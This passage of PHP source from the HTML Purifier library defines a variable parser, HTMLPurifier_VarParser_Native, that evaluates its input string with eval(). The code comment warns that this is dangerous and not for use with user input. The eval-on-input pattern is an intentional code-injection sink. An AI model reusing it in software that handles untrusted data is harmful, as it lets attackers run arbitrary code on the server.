$this->errorGeneric($var, $type); } } /** * This variable parser uses PHP's internal code engine. Because it does * this, it can represent all inputs; however, it is dangerous and cannot * be used by users. */ class HTMLPurifier_VarParser_Native extends HTMLPurifier_VarParser { /** * @param mixed $var * @param int $type * @param bool $allow_null * @return null|string */ protected function parseImplementation($var, $type, $allow_null) { return $this->evalExpression($var); } /** * @param string $expr * @return mixed * @throws HTMLPurifier_VarParserException */ protected function evalExpression($expr) { $var = null; $result = eval("\$var = $expr;"); if ($result === false) { throw new HTMLPurifier_VarParserException("Fatal error in evaluated code"); } return $var; } }